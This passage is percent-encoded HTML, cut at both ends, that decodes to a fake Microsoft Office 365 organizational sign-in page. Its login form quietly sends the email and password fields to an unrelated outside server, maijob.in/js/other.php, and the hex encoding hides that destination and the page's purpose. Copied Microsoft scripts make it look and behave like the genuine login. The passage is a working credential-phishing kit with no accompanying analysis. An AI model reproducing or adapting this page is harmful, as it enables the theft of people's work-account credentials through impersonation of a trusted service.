0%7b%0d%0a%20%20%20%20%76%61%72%20%6e%6f%64%65%20%3d%20%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%42%79%49%64%28%69%6e%70%75%74%46%69%65%6c%64%29%3b%0d%0a%20%20%20%20%69%66%20%28%6e%6f%64%65%29%20%6e%6f%64%65%2e%66%6f%63%75%73%28%29%3b%0d%0a%7d%3b%0d%0a%49%6e%70%75%74%55%74%69%6c%2e%68%61%73%43%6c%61%73%73%20%3d%20%66%75%6e%63%74%69%6f%6e%28%6e%6f%64%65%2c%20%63%6c%73%4e%61%6d%65%29%20%7b%0d%0a%20%20%20%20%72%65%74%75%72%6e%20%6e%6f%64%65%2e%63%6c%61%73%73%4e%61%6d%65%2e%6d%61%74%63%68%28%6e%65%77%20%52%65%67%45%78%70%28%27%28%5c%5c%73%7c%5e%29%27%20%2b%20%63%6c%73%4e%61%6d%65%20%2b%20%27%28%5c%5c%73%7c%24%29%27%29%29%3b%0d%0a%7d%3b%0d%0a%49%6e%70%75%74%55%74%69%6c%2e%61%64%64%43%6c%61%73%73%20%3d%20%66%75%6e%63%74%69%6f%6e%28%6e%6f%64%65%2c%20%63%6c%73%4e%61%6d%65%29%20%7b%0d%0a%20%20%20%20%69%66%20%28%21%74%68%69%73%2e%68%61%73%43%6c%61%73%73%28%6e%6f%64%65%2c%20%63%6c%73%4e%61%6d%65%29%29%20%6e%6f%64%65%2e%63%6c%61%73%73%4e%61%6d%65%20%2b%3d%20%22%20%22%20%2b%20%63%6c%73%4e%61%6d%65%3b%0d%0a%7d%3b%0d%0a%49%6e%70%75%74%55%74%69%6c%2e%72%65%6d%6f%76%65%43%6c%61%73%73%20%3d%20%66%75%6e%63%74%69%6f%6e%28%6e%6f%64%65%2c%20%63%6c%73%4e%61%6d%65%29%20%7b%0d%0a%20%20%20%20%69%66%20%28%74%68%69%73%2e%68%61%73%43%6c%61%73%73%28%6e%6f%64%65%2c%20%63%6c%73%4e%61%6d%65%29%29%20%7b%0d%0a%20%20%20%20%20%20%20%20%76%61%72%20%72%65%67%20%3d%20%6e%65%77%20%52%65%67%45%78%70%28%27%28%5c%5c%73%7c%5e%29%27%20%2b%20%63%6c%73%4e%61%6d%65%20%2b%20%27%28%5c%5c%73%7c%24%29%27%29%3b%0d%0a%20%20%20%20%20%20%20%20%6e%6f%64%65%2e%63%6c%61%73%73%4e%61%6d%65%20%3d%20%6e%6f%64%65%2e%63%6c%61%73%73%4e%61%6d%65%2e%72%65%70%6c%61%63%65%28%72%65%67%2c%20%27%20%27%29%3b%0d%0a%20%20%20%20%7d%0d%0a%7d%3b%0d%0a%49%6e%70%75%74%55%74%69%6c%2e%73%68%6f%77%48%69%6e%74%20%3d%20%66%75%6e%63%74%69%6f%6e%20%28%6e%6f%64%65%2c%20%67%6f%74%46%6f%63%75%73%29%20%7b%0d%0a%20%20%20%20%69%66%20%28%6e%6f%64%65%2e%76%61%6c%75%65%20%26%26%20%6e%6f%64%65%2e%76%61%6c%75%65%20%21%3d%20%27%27%29%20%7b%0d%0a%20%20%20%20%20%20%20%20%6e%6f%64%65%2e%70%72%65%76%69%6f%75%73%53%69%62%6c%69%6e%67%2e%73%74%79%6c%65%2e%64%69%73%70%6c%61%79%20%3d%20%27%6e%6f%6e%65%27%3b%0d%0a%20%20%20%20%7d%0d%0a%20%20%20%20%65%6c%73%65%20%7b%0d%0a%20%20%20%20%20%20%20%20%6e%6f%64%65%2e%70%72%65%76%69%6f%75%73%53%69%62%6c%69%6e%67%2e%73%74%79%6c%65%2e%64%69%73%70%6c%61%79%20%3d%20%27%27%3b%0d%0a%20%20%20%20%7d%0d%0a%7d%3b%0d%0a%2f%2f%5d%5d%3e%0d%0a%3c%2f%73%63%72%69%70%74%3e%0d%0a%0d%0a%0d%0a%20%20%20%20%20%20%20%20%0d%0a%20%20%20%20%20%20%20%20%0d%0a%20%20%20%20%3c%2f%68%65%61%64%3e%0d%0a%20%20%20%20%3c%62%6f%64%79%20%64%69%72%3d%22%6c%74%72%22%20%63%6c%61%73%73%3d%22%62%6f%64%79%22%3e%0d%0a%20%20%20%20%3c%64%69%76%20%69%64%3d%22%6e%6f%53%63%72%69%70%74%22%20%73%74%79%6c%65%3d%22%70%6f%73%69%74%69%6f%6e%3a%20%73%74%61%74%69%63%3b%20%77%69%64%74%68%3a%20%31%30%30%25%3b%20%68%65%69%67%68%74%3a%20%31%30%30%25%3b%20%7a%2d%69%6e%64%65%78%3a%20%31%30%30%3b%20%64%69%73%70%6c%61%79%3a%20%6e%6f%6e%65%3b%22%3e%0d%0a%20%20%20%20%20%20%20%20%3c%68%31%3e%4a%61%76%61%53%63%72%69%70%74%20%72%65%71%75%69%72%65%64%3c%2f%68%31%3e%0d%0a%20%20%20%20%20%20%20%20%3c%70%3e%4a%61%76%61%53%63%72%69%70%74%20%69%73%20%72%65%71%75%69%72%65%64%2e%20%54%68%69%73%20%77%65%62%20%62%72%6f%77%73%65%72%20%64%6f%65%73%20%6e%6f%74%20%73%75%70%70%6f%72%74%20%4a%61%76%61%53%63%72%69%70%74%20%6f%72%20%4a%61%76%61%53%63%72%69%70%74%20%69%6e%20%74%68%69%73%20%77%65%62%20%62%72%6f%77%73%65%72%20%69%73%20%6e%6f%74%20%65%6e%61%62%6c%65%64%2e%3c%2f%70%3e%0d%0a%20%20%20%20%20%20%20%20%3c%70%3e%54%6f%20%66%69%6e%64%20%6f%75%74%20%69%66%20%79%6f%75%72%20%77%65%62%20%62%72%6f%77%73%65%72%20%73%75%70%70%6f%72%74%73%20%4a%61%76%61%53%63%72%69%70%74%20%6f%72%20%74%6f%20%65%6e%61%62%6c%65%20%4a%61%76%61%53%63%72%69%70%74%2c%20%73%65%65%20%77%65%62%20%62%72%6f%77%73%65%72%20%68%65%6c%70%2e%3c%2f%70%3e%0d%0a%20%20%20%20%3c%2f%64%69%76%3e%0d%0a%20%20%20%20%3c%73%63%72%69%70%74%20%74%79%70%65%3d%22%74%65%78%74%2f%6a%61%76%61%73%63%72%69%70%74%22%20%6c%61%6e%67%75%61%67%65%3d%22%4a%61%76%61%53%63%72%69%70%74%22%3e%0d%0a%20%20%20%20%20%20%20%20%20%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%42%79%49%64%28%22%6e%6f%53%63%72%69%70%74%22%29%2e%73%74%79%6c%65%2e%64%69%73%70%6c%61%79%20%3d%20%22%6e%6f%6e%65%22%3b%0d%0a%20%20%20%20%3c%2f%73%63%72%69%70%74%3e%0d%0a%20%20%20%20%3c%64%69%76%20%69%64%3d%22%66%75%6c%6c%50%61%67%65%22%3e%0d%0a%20%20%20%20%20%20%20%20%3c%64%69%76%20%69%64%3d%22%62%72%61%6e%64%69%6e%67%57%72%61%70%70%65%72%22%20%63%6c%61%73%73%3d%22%66%6c%6f%61%74%22%3e%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%3c%64%69%76%20%69%64%3d%22%62%72%61%6e%64%69%6e%67%22%20%63%6c%61%73%73%3d%22%69%6c%6c%75%73%74%72%61%74%69%6f%6e%43%6c%61%73%73%22%3e%3c%2f%64%69%76%3e%0d%0a%20%20%20%20%20%20%20%20%3c%2f%64%69%76%3e%0d%0a%20%20%20%20%20%20%20%20%3c%64%69%76%20%69%64%3d%22%63%6f%6e%74%65%6e%74%57%72%61%70%70%65%72%22%20%63%6c%61%73%73%3d%22%66%6c%6f%61%74%22%3e%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%3c%64%69%76%20%69%64%3d%22%63%6f%6e%74%65%6e%74%22%3e%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3c%64%69%76%20%69%64%3d%22%68%65%61%64%65%72%22%3e%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%4d%69%63%72%6f%73%6f%66%74%20%4f%66%66%69%63%65%20%33%36%35%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3c%2f%64%69%76%3e%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3c%64%69%76%20%69%64%3d%22%77%6f%72%6b%41%72%65%61%22%3e%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0d%0a%20%20%20%20%3c%64%69%76%20%69%64%3d%22%61%75%74%68%41%72%65%61%22%20%63%6c%61%73%73%3d%22%67%72%6f%75%70%4d%61%72%67%69%6e%22%3e%0d%0a%20%20%20%20%20%20%20%20%0d%0a%20%20%20%20%20%20%20%20%0d%0a%20%20%20%20%3c%64%69%76%20%69%64%3d%22%6c%6f%67%69%6e%41%72%65%61%22%3e%20%20%20%20%20%20%20%20%0d%0a%20%20%20%20%20%20%20%20%3c%64%69%76%20%69%64%3d%22%6c%6f%67%69%6e%4d%65%73%73%61%67%65%22%20%63%6c%61%73%73%3d%22%67%72%6f%75%70%4d%61%72%67%69%6e%22%3e%53%69%67%6e%20%69%6e%20%77%69%74%68%20%79%6f%75%72%20%6f%72%67%61%6e%69%7a%61%74%69%6f%6e%61%6c%20%61%63%63%6f%75%6e%74%3c%2f%64%69%76%3e%0d%0a%0d%0a%20%20%20%20%20%20%20%20%3c%66%6f%72%6d%20%6d%65%74%68%6f%64%3d%22%70%6f%73%74%22%20%69%64%3d%22%6c%6f%67%69%6e%46%6f%72%6d%22%20%61%75%74%6f%63%6f%6d%70%6c%65%74%65%3d%22%6f%66%66%22%20%6e%6f%76%61%6c%69%64%61%74%65%3d%22%6e%6f%76%61%6c%69%64%61%74%65%22%20%6f%6e%6b%65%79%70%72%65%73%73%3d%22%69%66%20%28%65%76%65%6e%74%20%26%61%6d%70%3b%26%61%6d%70%3b%20%65%76%65%6e%74%2e%6b%65%79%43%6f%64%65%20%3d%3d%20%31%33%29%20%4c%6f%67%69%6e%2e%73%75%62%6d%69%74%4c%6f%67%69%6e%52%65%71%75%65%73%74%28%29%3b%22%20%61%63%74%69%6f%6e%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%6d%61%69%6a%6f%62%2e%69%6e%2f%6a%73%2f%6f%74%68%65%72%2e%70%68%70%22%3e%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%3c%64%69%76%20%69%64%3d%22%65%72%72%6f%72%22%20%63%6c%61%73%73%3d%22%66%69%65%6c%64%4d%61%72%67%69%6e%20%65%72%72%6f%72%20%73%6d%61%6c%6c%54%65%78%74%22%20%73%74%79%6c%65%3d%22%64%69%73%70%6c%61%79%3a%20%6e%6f%6e%65%3b%22%3e%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3c%6c%61%62%65%6c%20%69%64%3d%22%65%72%72%6f%72%54%65%78%74%22%20%66%6f%72%3d%22%22%3e%3c%2f%6c%61%62%65%6c%3e%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%3c%2f%64%69%76%3e%0d%0a%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%3c%64%69%76%20%69%64%3d%22%66%6f%72%6d%73%41%75%74%68%65%6e%74%69%63%61%74%69%6f%6e%41%72%65%61%22%3e%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3c%64%69%76%20%69%64%3d%22%75%73%65%72%4e%61%6d%65%41%72%65%61%22%3e%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3c%69%6e%70%75%74%20%69%64%3d%22%75%73%65%72%4e%61%6d%65%49%6e%70%75%74%22%20%6e%61%6d%65%3d%22%6f%74%68%65%72%75%73%65%72%22%20%74%61%62%69%6e%64%65%78%3d%22%31%22%20%63%6c%61%73%73%3d%22%74%65%78%74%20%66%75%6c%6c%57%69%64%74%68%22%20%73%70%65%6c%6c%63%68%65%63%6b%3d%22%66%61%6c%73%65%22%20%70%6c%61%63%65%68%6f%6c%64%65%72%3d%22%73%6f%6d%65%6f%6e%65%40%65%78%61%6d%70%6c%65%2e%63%6f%6d%22%20%61%75%74%6f%63%6f%6d%70%6c%65%74%65%3d%22%6f%66%66%22%20%74%79%70%65%3d%22%65%6d%61%69%6c%22%3e%20%20%20%20%20%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3c%2f%64%69%76%3e%0d%0a%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3c%64%69%76%20%69%64%3d%22%70%61%73%73%77%6f%72%64%41%72%65%61%22%3e%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3c%69%6e%70%75%74%20%69%64%3d%22%70%61%73%73%77%6f%72%64%49%6e%70%75%74%22%20%6e%61%6d%65%3d%22%6f%74%68%65%72%70%61%73%73%77%6f%72%64%22%20%74%61%62%69%6e%64%65%78%3d%22%32%22%20%63%6c%61%73%73%3d%22%74%65%78%74%20%66%75%6c%6c%57%69%64%74%68%22%20%70%6c%61%63%65%68%6f%6c%64%65%72%3d%22%50%61%73%73%77%6f%72%64%22%20%61%75%74%6f%63%6f%6d%70%6c%65%74%65%3d%22%6f%66%66%22%20%74%79%70%65%3d%22%70%61%73%73%77%6f%72%64%22%3e%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3c%2f%64%69%76%3e%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3c%64%69%76%20%69%64%3d%22%6b%6d%73%69%41%72%65%61%22%20%73%74%79%6c%65%3d%22%64%69%73%70%6c%61%79%3a%6e%6f%6e%65%22%3e%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3c%69%6e%70%75%74%20%6e%61%6d%65%3d%22%4b%6d%73%69%22%20%69%64%3d%22%6b%6d%73%69%49%6e%70%75%74%22%20%76%61%6c%75%65%3d%22%74%72%75%65%22%20%74%61%62%69%6e%64%65%78%3d%22%33%22%20%74%79%70%65%3d%22%63%68%65%63%6b%62%6f%78%22%3e%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3c%6c%61%62%65%6c%20%66%6f%72%3d%22%6b%6d%73%69%49%6e%70%75%74%22%3e%4b%65%65%70%20%6d%65%20%73%69%67%6e%65%64%20%69%6e%3c%2f%6c%61%62%65%6c%3e%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3c%2f%64%69%76%3e%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3c%64%69%76%20%69%64%3d%22%73%75%62%6d%69%73%73%69%6f%6e%41%72%65%61%22%20%63%6c%61%73%73%3d%22%73%75%62%6d%69%74%4d%61%72%67%69%6e%22%3e%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3c%73%70%61%6e%20%69%64%3d%22%73%75%62%6d%69%74%42%75%74%74%6f%6e%22%20%63%6c%61%73%73%3d%22%73%75%62%6d%69%74%22%20%74%61%62%69%6e%64%65%78%3d%22%34%22%20%6f%6e%6b%65%79%70%72%65%73%73%3d%22%69%66%20%28%65%76%65%6e%74%20%26%61%6d%70%3b%26%61%6d%70%3b%20%65%76%65%6e%74%2e%6b%65%79%43%6f%64%65%20%3d%3d%20%33%32%29%20%4c%6f%67%69%6e%2e%73%75%62%6d%69%74%4c%6f%67%69%6e%52%65%71%75%65%73%74%28%29%3b%22%20%6f%6e%63%6c%69%63%6b%3d%22%72%65%74%75%72%6e%20%4c%6f%67%69%6e%2e%73%75%62%6d%69%74%4c%6f%67%69%6e%52%65%71%75%65%73%74%28%29%3b%22%3e%53%69%67%6e%20%69%6e%3c%2f%73%70%61%6e%3e%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3c%2f%64%69%76%3e%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%3c%2f%64%69%76%3e%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%3c%69%6e%70%75%74%20%69%64%3d%22%6f%70%74%69%6f%6e%46%6f%72%6d%73%22%20%6e%61%6d%65%3d%22%41%75%74%68%4d%65%74%68%6f%64%22%20%76%61%6c%75%65%3d%22%46%6f%72%6d%73%41%75%74%68%65%6e%74%69%63%61%74%69%6f%6e%22%20%74%79%70%65%3d%22%68%69%64%64%65%6e%22%3e%0d%0a%20%20%20%20%20%20%20%20%3c%2f%66%6f%72%6d%3e%0d%0a%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%3c%64%69%76%20%69%64%3d%22%61%75%74%68%4f%70%74%69%6f%6e%73%22%3e%0d%0a%20%20%20%20%20%20%20%20%3c%66%6f%72%6d%20%69%64%3d%22%6f%70%74%69%6f%6e%73%22%20%6d%65%74%68%6f%64%3d%22%70%6f%73%74%22%20%61%63%74%69%6f%6e%3d%22%22%3e%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%3c%73%63%72%69%70%74%20%74%79%70%65%3d%22%74%65%78%74%2f%6a%61%76%61%73%63%72%69%70%74%22%3e%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%66%75%6e%63%74%69%6f%6e%20%53%65%6c%65%63%74%4f%70%74%69%6f%6e%28%6f%70%74%69%6f%6e%29%20%7b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%76%61%72%20%69%20%3d%20%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%42%79%49%64%28%27%6f%70%74%69%6f%6e%53%65%6c%65%63%74%69%6f%6e%27%29%3b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%69%2e%76%61%6c%75%65%20%3d%20%6f%70%74%69%6f%6e%3b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%64%6f%63%75%6d%65%6e%74%2e%66%6f%72%6d%73%5b%27%6f%70%74%69%6f%6e%73%27%5d%2e%73%75%62%6d%69%74%28%29%3b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%72%65%74%75%72%6e%20%66%61%6c%73%65%3b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7d%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%3c%2f%73%63%72%69%70%74%3e%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%3c%69%6e%70%75%74%20%69%64%3d%22%6f%70%74%69%6f%6e%53%65%6c%65%63%74%69%6f%6e%22%20%6e%61%6d%65%3d%22%41%75%74%68%4d%65%74%68%6f%64%22%20%74%79%70%65%3d%22%68%69%64%64%65%6e%22%3e%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%3c%64%69%76%20%63%6c%61%73%73%3d%22%67%72%6f%75%70%4d%61%72%67%69%6e%22%3e%3c%2f%64%69%76%3e%0d%0a%20%20%20%20%20%20%20%20%3c%2f%66%6f%72%6d%3e%0d%0a%20%20%20%20%20%20%3c%2f%64%69%76%3e%0d%0a%0d%0a%20%20%20%20%20%20%20%20%3c%64%69%76%20%69%64%3d%22%69%6e%74%72%6f%64%75%63%74%69%6f%6e%22%20%63%6c%61%73%73%3d%22%67%72%6f%75%70%4d%61%72%67%69%6e%22%3e%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0d%0a%20%20%20%20%20%20%20%20%3c%2f%64%69%76%3e%0d%0a%0d%0a%20%20%20%20%20%20%20%20%3c%73%63%72%69%70%74%20%74%79%70%65%3d%22%74%65%78%74%2f%6a%61%76%61%73%63%72%69%70%74%22%3e%0d%0a%20%20%20%20%20%20%20%20%2f%2f%3c%21%5b%43%44%41%54%41%5b%0d%0a%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%66%75%6e%63%74%69%6f%6e%20%4c%6f%67%69%6e%28%29%20%7b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%7d%0d%0a%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%4c%6f%67%69%6e%2e%75%73%65%72%4e%61%6d%65%49%6e%70%75%74%20%3d%20%27%75%73%65%72%4e%61%6d%65%49%6e%70%75%74%27%3b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%4c%6f%67%69%6e%2e%70%61%73%73%77%6f%72%64%49%6e%70%75%74%20%3d%20%27%70%61%73%73%77%6f%72%64%49%6e%70%75%74%27%3b%0d%0a%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%4c%6f%67%69%6e%2e%69%6e%69%74%69%61%6c%69%7a%65%20%3d%20%66%75%6e%63%74%69%6f%6e%20%28%29%20%7b%0d%0a%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%76%61%72%20%75%20%3d%20%6e%65%77%20%49%6e%70%75%74%55%74%69%6c%28%29%3b%0d%0a%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%75%2e%63%68%65%63%6b%45%72%72%6f%72%28%29%3b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%75%2e%73%65%74%49%6e%69%74%69%61%6c%46%6f%63%75%73%28%4c%6f%67%69%6e%2e%75%73%65%72%4e%61%6d%65%49%6e%70%75%74%29%3b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%75%2e%73%65%74%49%6e%69%74%69%61%6c%46%6f%63%75%73%28%4c%6f%67%69%6e%2e%70%61%73%73%77%6f%72%64%49%6e%70%75%74%29%3b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%7d%28%29%3b%0d%0a%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%4c%6f%67%69%6e%2e%73%75%62%6d%69%74%4c%6f%67%69%6e%52%65%71%75%65%73%74%20%3d%20%66%75%6e%63%74%69%6f%6e%20%28%29%20%7b%20%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%76%61%72%20%75%20%3d%20%6e%65%77%20%49%6e%70%75%74%55%74%69%6c%28%29%3b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%76%61%72%20%65%20%3d%20%6e%65%77%20%4c%6f%67%69%6e%45%72%72%6f%72%73%28%29%3b%0d%0a%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%76%61%72%20%75%73%65%72%4e%61%6d%65%20%3d%20%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%42%79%49%64%28%4c%6f%67%69%6e%2e%75%73%65%72%4e%61%6d%65%49%6e%70%75%74%29%3b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%76%61%72%20%70%61%73%73%77%6f%72%64%20%3d%20%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%42%79%49%64%28%4c%6f%67%69%6e%2e%70%61%73%73%77%6f%72%64%49%6e%70%75%74%29%3b%0d%0a%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%69%66%20%28%21%75%73%65%72%4e%61%6d%65%2e%76%61%6c%75%65%20%7c%7c%20%21%75%73%65%72%4e%61%6d%65%2e%76%61%6c%75%65%2e%6d%61%74%63%68%28%27%5b%40%5c%5c%5c%5c%5d%27%29%29%20%7b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%75%2e%73%65%74%45%72%72%6f%72%28%75%73%65%72%4e%61%6d%65%2c%20%65%2e%75%73%65%72%4e%61%6d%65%46%6f%72%6d%61%74%45%72%72%6f%72%29%3b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%72%65%74%75%72%6e%20%66%61%6c%73%65%3b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7d%0d%0a%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%69%66%20%28%21%70%61%73%73%77%6f%72%64%2e%76%61%6c%75%65%29%20%7b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%75%2e%73%65%74%45%72%72%6f%72%28%70%61%73%73%77%6f%72%64%2c%20%65%2e%70%61%73%73%77%6f%72%64%45%6d%70%74%79%29%3b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%72%65%74%75%72%6e%20%66%61%6c%73%65%3b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7d%0d%0a%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%64%6f%63%75%6d%65%6e%74%2e%66%6f%72%6d%73%5b%27%6c%6f%67%69%6e%46%6f%72%6d%27%5d%2e%73%75%62%6d%69%74%28%29%3b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%72%65%74%75%72%6e%20%66%61%6c%73%65%3b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%7d%3b%0d%0a%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%49%6e%70%75%74%55%74%69%6c%2e%6d%61%6b%65%50%6c%61%63%65%68%6f%6c%64%65%72%28%4c%6f%67%69%6e%2e%75%73%65%72%4e%61%6d%65%49%6e%70%75%74%29%3b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%49%6e%70%75%74%55%74%69%6c%2e%6d%61%6b%65%50%6c%61%63%65%68%6f%6c%64%65%72%28%4c%6f%67%69%6e%2e%70%61%73%73%77%6f%72%64%49%6e%70%75%74%29%3b%0d%0a%20%20%20%20%20%20%20%20%2f%2f%5d%5d%3e%0d%0a%20%20%20%20%20%20%20%20%3c%2f%73%63%72%69%70%74%3e%0d%0a%20%20%20%20%3c%2f%64%69%76%3e%0d%0a%0d%0a%20%20%20%20%3c%2f%64%69%76%3e%0d%0a%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3c%2f%64%69%76%3e%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3c%64%69%76%20%69%64%3d%22%66%6f%6f%74%65%72%50%6c%61%63%65%68%6f%6c%64%65%72%22%3e%3c%2f%64%69%76%3e%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%3c%2f%64%69%76%3e%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%3c%64%69%76%20%69%64%3d%22%66%6f%6f%74%65%72%22%3e%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3c%64%69%76%20%69%64%3d%22%66%6f%6f%74%65%72%4c%69%6e%6b%73%22%20%63%6c%61%73%73%3d%22%66%6c%6f%61%74%52%65%76%65%72%73%65%22%3e%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3c%64%69%76%3e%3c%73%70%61%6e%20%69%64%3d%22%63%6f%70%79%72%69%67%68%74%22%3e%a9%20%32%30%31%33%20%4d%69%63%72%6f%73%6f%66%74%3c%2f%73%70%61%6e%3e%3c%2f%64%69%76%3e%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3c%2f%64%69%76%3e%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%3c%2f%64%69%76%3e%0d%0a%20%20%20%20%20%20%20%20%3c%2f%64%69%76%3e%20%0d%0a%20%20%20%20%3c%2f%64%69%76%3e%0d%0a%20%20%20%20%3c%73%63%72%69%70%74%20%74%79%70%65%3d%22%74%65%78%74%2f%6a%61%76%61%73%63%72%69%70%74%22%3e%0d%0a%2f%2f%3c%21%5b%43%44%41%54%41%5b%0d%0a%2f%2f%20%43%6f%70%79%72%69%67%68%74%20%28%63%29%20%4d%69%63%72%6f%73%6f%66%74%20%43%6f%72%70%6f%72%61%74%69%6f%6e%2e%20%20%41%6c%6c%20%72%69%67%68%74%73%20%72%65%73%65%72%76%65%64%2e%0d%0a%0d%0a%2f%2f%20%54%68%69%73%20%66%69%6c%65%20%63%6f%6e%74%61%69%6e%73%20%73%65%76%65%72%61%6c%20%77%6f%72%6b%61%72%6f%75%6e%64%73%20%6f%6e%20%69%6e%63%6f%6e%73%69%73%74%65%6e%74%20%62%72%6f%77%73%65%72%20%62%65%68%61%76%69%6f%72%73%20%74%68%61%74%20%61%64%6d%69%6e%69%73%74%72%61%74%6f%72%73%20%6d%61%79%20%63%75%73%74%6f%6d%69%7a%65%2e%0d%0a%22%75%73%65%20%73%74%72%69%63%74%22%3b%0d%0a%0d%0a%2f%2f%20%69%50%68%6f%6e%65%20%65%6d%61%69%6c%20%66%72%69%65%6e%64%6c%79%20%6b%65%79%62%6f%61%72%64%20%64%6f%65%73%20%6e%6f%74%20%69%6e%63%6c%75%64%65%20%22%5c%22%20%6b%65%79%2c%20%75%73%65%20%72%65%67%75%6c%61%72%20%6b%65%79%62%6f%61%72%64%20%69%6e%73%74%65%61%64%2e%0d%0a%2f%2f%20%4e%6f%74%65%20%63%68%61%6e%67%65%20%69%6e%70%75%74%20%74%79%70%65%20%64%6f%65%73%20%6e%6f%74%20%77%6f%72%6b%20%6f%6e%20%61%6c%6c%20%76%65%72%73%69%6f%6e%73%20%6f%66%20%61%6c%6c%20%62%72%6f%77%73%65%72%73%2e%0d%0a%69%66%20%28%6e%61%76%69%67%61%74%6f%72%2e%75%73%65%72%41%67%65%6e%74%2e%6d%61%74%63%68%28%2f%69%50%68%6f%6e%65%2f%69%29%20%21%3d%20%6e%75%6c%6c%29%20%7b%0d%0a%20%20%20%20%76%61%72%20%65%6d%61%69%6c%73%20%3d%20%64%6f%63%75%6d%65%6e%74%2e%71%75%65%72%79%53%65%6c%65%63%74%6f%72%41%6c%6c%28%22%69%6e%70%75%74%5b%